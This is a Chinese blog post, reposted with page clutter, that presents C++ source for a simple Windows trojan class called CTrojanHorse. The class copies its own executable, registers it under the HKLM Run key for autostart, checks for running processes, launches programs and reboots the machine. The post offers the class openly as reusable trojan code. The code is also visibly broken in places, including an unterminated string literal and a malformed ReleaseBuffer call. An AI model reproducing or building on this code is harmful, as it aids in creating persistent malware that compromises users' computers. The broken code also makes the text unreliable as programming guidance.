使用visual c+编写简单的木马程序

如今人们谈“马”色变,因为木马危害用户计算机,窃取银行钱财,当然可以用杀毒软件搞定,其实木马编程也简单,编程语音,c+,易语言,c#都可以制作简单的木马悄悄运行于后台,这里以ivsual c+编写简单的木马为例: Visual C++编程时用到了这些功能,现在我把它组装成一个很简单的木马了.
本代码已封装成类方便代码重用 :1,自我复制.2,修改注册表自动运行.3,关闭进程.4,启动程序.5,重启关机功能. 代码如下:class CTrojanHorse
{
public://add code

public://add code
CTrojanHorse();
~CTrojanHorse();
protected://add code

BOOL IfShell(CString BeKissPrcName);
BOOL CopyFileaddr(CString m_CopyFile);
void ShellFile(CString m_ShellFile);
BOOL SetAutoRun(CString strPath);
void ShutDown();

private://add code
};
CTrojanHorse::CTrojanHorse()
{
//add code

}
CTrojanHorse::~CTrojanHorse()
{

//add code
}
BOOL CTrojanHorse::IfShell(CString BeKissPrcName)//判断程序是否在运行
{
CString str,a,prcnum;
// CMainFrame *pDlg=(CMainFrame *)lparam;
//AfxMessageBox(pDlg->BeKissPrcName);
HANDLE SnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
SHFILEINFO shSmall;
PROCESSENTRY32 ProcessInfo;//声明进程信息变量
ProcessInfo.dwSize=sizeof(ProcessInfo);//设置ProcessInfo的大小
//返回系统中第一个进程的信息
BOOL Status=Process32First(SnapShot,&ProcessInfo);
int m_nProcess=0;
int num=0;

while(Status)
{ num++;
m_nProcess++;

ZeroMemory(&shSmall,sizeof(shSmall));//获取进程文件信息  
SHGetFileInfo(ProcessInfo.szExeFile,0,&shSmall,  
sizeof(shSmall),SHGFI_ICON|SHGFI_SMALLICON);  

//str.Format("%08x",ProcessInfo.th32ProcessID);
str=ProcessInfo.szExeFile;
if(str==BeKissPrcName)
{
AfxMessageBox("找到进程成功!");

return true;

}
//获取下一个进程的信息
Status=Process32Next(SnapShot,&ProcessInfo);
}
AfxMessageBox("失败!");
return false;
}
BOOL CTrojanHorse::CopyFileaddr(CString m_CopyFile)//复制文件
{
char pBuf[MAX_PATH];
CString m_addr;
// CString m_strSrcFile1="D:/OperateFile.exe";
// CString m_addr="D:/SVCLSV.exe"; //存放路径的变量
GetCurrentDirectory(MAX_PATH,pBuf); //获取程序的当前目录
strcat(pBuf,"\");
strcat(pBuf,AfxGetApp()->m_pszExeName);
strcat(pBuf,".exe");
m_addr=pBuf;
if(CopyFile(m_addr,m_CopyFile,FALSE))
{
AfxMessageBox("复制成功!");
return true;
}
return false;
}
void CTrojanHorse::ShellFile(CString m_ShellFile)//执行所要的程序
{
ShellExecute(NULL,"open",m_ShellFile,NULL,NULL,SW_SHOWNORMAL);
}

BOOL CTrojanHorse::SetAutoRun(CString strPath)//修改注册表
{
CString str;
HKEY hRegKey;
BOOL bResult;
str=_T("Software\Microsoft\Windows\CurrentVersion\Run");
if(RegOpenKey(HKEY_LOCAL_MACHINE, str, &hRegKey) != ERROR_SUCCESS)
bResult=FALSE;
else
{
_splitpath(strPath.GetBuffer(0),NULL,NULL,str.GetBufferSetLength(MAX_PATH+1),NULL);
strPath.ReleaseBuffer();
str.ReleaseBuffer();
if(::RegSetValueEx( hRegKey,
str,
0,
REG_SZ,
(CONST BYTE *)strPath.GetBuffer(0),
strPath.GetLength() ) != ERROR_SUCCESS)
bResult=FALSE;
else
bResult=TRUE;
strPath.ReleaseBuffer }
return bResult;
}
void CTrojanHorse::ShutDown()//重新启动计算机
{
if (IDYES == MessageBox("是否现在重新启动计算机?", "注册表提示", MB_YESNO))
{
OSVERSIONINFO OsVerInfo; //保存系统版本信息的数据结构
OsVerInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&OsVerInfo);//取得系统的版本信息
CString str1 = "", str2 = "";
str1.Format("你的系统信息\n版本为:%d.%d\n", OsVerInfo.dwMajorVersion,
OsVerInfo.dwMinorVersion);
str2.Format("型号:%d\n", OsVerInfo.dwBuildNumber);
str1 += str2;
AfxMessageBox(str1);
if(OsVerInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)
ExitWindowsEx(EWX_REBOOT | EWX_SHUTDOWN, 0); //重新启动计算机
}
}

代码编写完毕,生成exercise 程序

转载于:https://my.oschina.net/bigfool007139/blog/373644

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值